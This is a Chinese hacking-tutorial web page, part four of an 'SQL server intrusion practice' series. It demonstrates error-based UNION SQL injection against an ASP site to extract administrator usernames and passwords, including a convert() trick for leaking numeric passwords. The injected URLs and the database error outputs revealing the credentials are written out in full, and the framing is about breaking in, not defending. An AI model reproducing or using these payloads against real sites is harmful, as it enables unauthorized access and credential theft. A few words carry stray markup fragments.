庞大资源库的计算机教程网站!
设为首页
加入收藏
总编信箱
投稿或申请专栏请先 [登 陆]
首页 操作系统 程序设计 图形图像 媒体动画 机械电子 WEB开发 数 据 库 办公系列 路由技术 网络原理 网络应用
认证考试 安全技术
首页>安全技术>黑客攻防>黑客教程>正文
资料搜索
Google搜索
Google
返回上级列表

推荐文章

快速保存网页中所有图片的方法
Windows中让光驱巧妙“隐身”技
防范非法用户入侵Win 2000/XP系
两款比较典型的ASP木马防范方法
有关表格边框的css语法整理
Windows XP中可以被禁用的服务
SQL Server导出导入数据方法
Javascript所有对象的属性的获
网页(HTML)中的特殊字符
与篮球共舞,尽显模式本色
QQ病毒的手工清除方法
Photoshop为极品美女打造性感睫
天衣无缝:IIS与PHP水火也相容
SQL Server存储过程编写和优化

黑客SQL服务器入侵实战演习(四)

 作者:本站收集   日期:2005-5-17
字号选择〖 〗/ 双击滚屏 单击停止   
6.2如何找到我们需要的数据

   现在我们需要鉴别出一些比较重要的表与列,我们可以用相同的技巧询问数据库从而得到相关的信息。

   现在让我们问问"admin_login"表的第一个用户名是什么吧:

   http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name F_blank>ROM admin_login--

   输出:

   Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

   [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ' neo' to a column of data type int.

   /index.asp, line 5

   知道了一个管理员帐号是"neo"。最后,问问这个管理员帐号的密码是什么吧:

   http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='

   neo'--

   输出:

   Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

   [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '

   m4trix' to a column of data type int.

   /index.asp, line 5

   现在我们可以用"neo"与他的密码("m4trix")来登陆系统了。
6.3如何获得数字串值?

   在这里技术上表达的一种局限性。若要将数字(0-9之间的数字)转换为正常的文本数据的话,我们将无法得到我们所需要的错误提示信息。举个例子,我们现在要尝试得到帐号为"trinity"的密码,而它所对应的密码为"31173":

   http://duck/index.asp?id=10 UNION SELECT TOP 1 password F_blank>ROM admin_login where login_name='

   trinity'--

   这样我们大概只能得到“Page Not Found”这样的错误提示。这其中的主要问题在于,在与整数(这个例子中为10)进行了合集(使用了UNION子句)以后这个密码"31173"将会被系统转换为数值。这样的话这个UNION字句调用就是‘合法'的了,SQL_blank>服务器将不会返回任何ODBC错误信息,因而我们是不可能得到这些数字型数据的。

   为了解决这个问题,我们可以为这些数据字符串加入一些字母表来确定转化过程是错误的。让我们试试

   用下面的这条请求来代替原来的请求吧:

   http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM

   admin_login where login_name='trinity'--

   在这里我们只不过是加入了一个(+)加号与其它我们想加入的字符进去而已(在ASCII中'+'等于0x2b)。我们加入了一个(%20)空格与morpheus(随便一个字符串)进入实际的密码数据中。这样的话,即使我们得到了数字串'31173',它也会变成'31173 morpheus'。

   在执行了convert()函数后,系统会尝试将'31173 morpheus'转换为整数型,SQL服务器一定会返回这样的ODBC错误信息:

   Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

   [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '

   31173 morpheus' to a column of data type int.

   /index.asp, line 5

   现在你可以知道'trinity'的密码是'31173'了吧。
上一篇:如何定时运行ASP文件    下一篇:IP伪装方法 下  
[发送给好友]  [关闭窗口]  [返回顶部]   转载请注明来源:www.it00.com   
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
责任编辑: 原点 投稿作者: 本站收集
信息来源: 网络 录入时间: 2005-5-17
关于我们 - 广告服务 - 版权申明 - 网站地图 - 联系方式 - 总编信箱 - 会员投稿